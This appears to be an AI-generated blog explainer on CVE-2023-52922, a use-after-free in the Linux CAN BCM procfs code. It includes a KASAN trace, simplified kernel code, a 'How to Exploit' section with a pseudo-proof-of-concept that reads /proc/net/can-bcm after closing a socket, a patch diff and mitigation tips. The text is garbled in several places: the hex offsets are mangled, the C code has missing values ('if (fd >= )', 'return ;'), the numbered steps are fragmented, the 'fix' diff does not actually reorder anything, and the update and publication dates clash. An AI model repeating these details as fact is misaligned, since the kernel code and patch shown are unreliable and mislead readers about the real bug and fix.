*Last updated: June 2024*

Introduction

A new Linux kernel vulnerability was found and fixed – CVE-2023-52922. The bug resided in the CAN BCM (Broadcast Manager) module, more specifically in the bcm_proc_show() function. Its resolution prevented a use-after-free (UAF) scenario that could be triggered via interactions with procfs, potentially allowing information leaks or further exploitation.

This article gives you a clear, plain English breakdown of what the bug is, how it can be exploited, how it was fixed, and includes proof-of-concept code snippets. If you’re running a Linux kernel with CAN support (commonly used in automotive and industrial systems), keep reading!

Technical Summary

The problem lies in how the kernel cleans up data structures that expose information via the /proc filesystem. When a CAN BCM socket (bcm_op) is released (freed by bcm_release()), its associated procfs entry is not immediately removed. If a user reads the related proc file (e.g., cat /proc/net/can-bcm), the kernel may access the already-freed memory in bcm_proc_show(). This is a classic use-after-free, and potentially exploitable.

A process opens and then releases a CAN BCM socket, which frees bcm_op.

2. Before the /proc entry is removed, another task invokes cat (or similar) on the relevant proc file.

If you hit this bug, your kernel might throw a message like

BUG: KASAN: slab-use-after-free in bcm_proc_show+x969/xa80
Read of size 8 at addr ffff888155846230 by task cat/7862

Call Trace:
 <TASK>
 dump_stack_lvl+xd5/x150
 print_report+xc1/x5e
 kasan_report+xba/xf
 bcm_proc_show+x969/xa80
 seq_read_iter+x4f6/x126
 seq_read+x165/x210
 proc_reg_read+x227/x300
 ...

In the normal code path, bcm_release() frees bcm_op.

- Unfortunately, removing the procfs file (e.g., from /proc/net/can-bcm) happens after the structure is freed.
- If someone reads /proc/net/can-bcm after bcm_op is freed but before the proc entry is removed, the system tries to access invalid memory.

A highly simplified version is

// Called when cleaning up a CAN BCM socket
void bcm_release(struct socket *sock) {
    struct bcm_op *op = sock->can_bcm_op;
    // ...
    kfree(op);         // BAD: Frees op before procfs entry removal!
    // Now the proc entry points to freed memory!
}

And when someone reads the procfs file, the kernel runs

// Called when reading /proc/net/can-bcm
int bcm_proc_show(struct seq_file *m, void *v) {
    struct bcm_op *op = m->private;
    // Use op (which might have been freed!)
    seq_printf(m, "BCM op state: %d\n", op->state);
    // ...
}

How to Exploit

This is fairly easy to demo on a vulnerable kernel (do not attempt on production or non-testing systems):

Close (release) the socket (freeing bcm_op).

3. Before the proc entry is removed, read /proc/net/can-bcm.

In pseudo-PoC code (skipping error handling for brevity)

#include <sys/types.h>
#include <sys/socket.h>
#include <linux/can.h>
#include <linux/can/bcm.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>

int main() {
    int sock = socket(PF_CAN, SOCK_DGRAM, CAN_BCM);
    // ... set up CAN message, send/receive as desired ...
    close(sock);  // this triggers bcm_release and possible free

    // Now, before kernel cleans up /proc/net/can-bcm,
    // access the proc file from another process/thread
    int fd = open("/proc/net/can-bcm", O_RDONLY);
    if (fd >= ) {
        char buf[4096];
        read(fd, buf, sizeof(buf));
        printf("%s\n", buf);
        close(fd);
    }

    return ;
}

If KASAN (Kernel Address Sanitizer) is enabled, this will warn about a UAF. Otherwise, you may get odd values — or a kernel crash.

Real-World Exploitation

While local root exploitability isn’t immediate, UAFs like this may be chained with other bugs to gain local code execution or leak sensitive kernel memory.

The Fix

The patch rearranged the cleanup order to make sure that the /proc entry is always removed before freeing bcm_op. This prevents the procfs show function from ever seeing a dangling pointer.

Patch diff (draught)

--- a/net/can/bcm.c
+++ b/net/can/bcm.c
@@ -1234,10 +1234,19 @@ static int bcm_release(struct socket *sock)
    struct bcm_op *op = sock->can_bcm_op;
    // Remove proc entry BEFORE freeing op
    if (op->procfs_entry)
        remove_proc_entry(op->procfs_entry);
-   kfree(op); // Now it's safe to free
+   kfree(op);
 }

Read the official patch:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e285c7136b33ce9b2ac04a8b8a56eead57b90251

Linux kernel bug report thread:
https://lore.kernel.org/all/20231102212221.18698-1-mkl@pengutronix.de/

You have CAN BCM support in your kernel.

- Kernel version is before the above fix (check your vendor/distribution).

To check for CAN modules, run

lsmod | grep can
cat /proc/net/can-bcm

For distributions, install the latest security updates.

- If you can't upgrade, restrict access to /proc/net/can-bcm (or remove CAN BCM support if unused).

References

- Patch on linux.git
- CAN BCM documentation
- Original bug thread (lore.kernel.org)
- Exploit-DB UAF guide
- CVE Details page

Conclusion

CVE-2023-52922 is a classic Linux kernel use-after-free bug caused by legacy cleanup order in the CAN BCM subsystem. While not remotely exploitable, local attackers might exploit this for information leaks or escalation if other bugs are present.

Always keep your kernel up-to-date, especially if you deploy hardware with CAN bus interactions — such as vehicles and industrial machinery.


*Exclusive content – by AskGPT – 2024*

Timeline

Published on: 11/28/2024 15:15:17 UTC
Last modified on: 12/19/2024 08:28:37 UTC